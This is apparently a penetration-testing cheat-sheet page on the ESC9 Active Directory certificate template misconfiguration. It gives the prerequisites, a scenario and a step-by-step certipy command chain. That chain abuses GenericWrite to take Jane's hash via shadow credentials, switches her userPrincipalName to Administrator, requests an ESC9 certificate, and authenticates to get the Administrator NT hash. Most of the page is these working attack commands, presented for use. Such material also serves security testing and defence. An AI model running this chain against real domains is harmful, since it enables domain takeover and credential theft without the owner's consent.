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Active Directory - Certificate ESC9

ESC9 - No Security Extension

Requirements

  • StrongCertificateBindingEnforcement set to 1 (default) or 0
  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
  • Certificate specifies Any Client authentication EKU
  • GenericWrite over any account A to compromise any account B

Scenario

John@corp.local has GenericWrite over Jane@corp.local, and we want to compromise Administrator@corp.local. Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

  • Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)

    certipy shadow auto -username John@corp.local -p Passw0rd -account Jane

  • Change the userPrincipalName of Jane to be Administrator. ⚠ leave the @corp.local part

    certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator

  • Request the vulnerable certificate template ESC9 from Jane's account.

    certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
# userPrincipalName in the certificate is Administrator 
# the issued certificate contains no "object SID"

  • Restore userPrincipalName of Jane to Jane@corp.local.

    certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local

  • Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user.

    certipy auth -pfx administrator.pfx -domain corp.local
# Add -domain <domain> to your command line since there is no domain specified in the certificate.

References